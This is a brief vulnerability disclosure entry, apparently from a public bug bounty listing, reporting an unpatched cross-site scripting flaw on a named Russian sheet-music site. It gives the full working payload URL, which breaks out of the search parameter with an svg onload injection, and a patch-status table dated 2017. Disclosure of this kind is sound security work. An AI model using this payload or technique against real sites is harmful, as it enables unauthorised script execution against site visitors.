sheets-piano.ru XSS vulnerability

Vulnerable URL: http://sheets-piano.ru/po-alfavitu/?search=aaaaa%22+foo%3Dbar+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.10.2017 Vulnerability type:| XSS...